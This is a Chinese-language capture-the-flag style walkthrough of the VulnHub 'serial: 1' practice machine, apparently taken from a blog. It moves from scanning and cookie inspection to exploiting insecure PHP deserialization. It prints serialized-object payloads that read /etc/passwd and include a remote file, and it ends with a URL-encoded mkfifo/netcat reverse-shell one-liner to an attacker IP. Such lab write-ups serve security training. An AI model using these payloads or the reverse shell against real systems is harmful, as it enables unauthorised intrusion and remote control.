靶机信息
可以去vulhub上下载此靶机:
serial: 1 ~ VulnHubserial: 1, made by sk4. Download & walkthrough links are available.https://www.vulnhub.com/entry/serial-1,349/
一.环境搭建
1.新建虚拟机
2.选择unbuntu64位
3.然后选择使用现有磁盘,选择下载的vmdk磁盘文件即可。
4.成功创建
二.测试过程
1.端口扫描,确定主机ip,端口为80
2.访问web服务
页面只有一行文本:Hello sk4This is a beta test for new cookie handler,提示这里是新cookie进行程序测试,那我们查看cookie。
3.F12查看,cookie是一串base64编码。
解码后发现是一串字符序列
4.目录扫描
这里我们没有看到任何可控的参数,也没有可输入的内容,我们也不清楚目录结构,那么我们可以尝试去扫描目录
5.访问web网站
我们发现一个压缩包,将他下载下来看看
我们得到三个文件
我们通过代码审计,构造playload
<?php
class Log {
private $type_log = "/etc/passwd";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
放到www文件夹下访问
得到一串加密后的字符序列
6.抓包测试
我们拿到加密后的字符序列去进行抓包,并将字符序列替换到如图
我们发现成功
我们发现
我们发现命令成功,然后我们修改py.php代码为
<?php
class Log {
private $type_log = "http://192.168.3.65/8.txt";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
命令执行成功
7.反弹shell
将下面代码放值cmd参数后进行反弹shell
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.10.130+8888+
成功反弹shell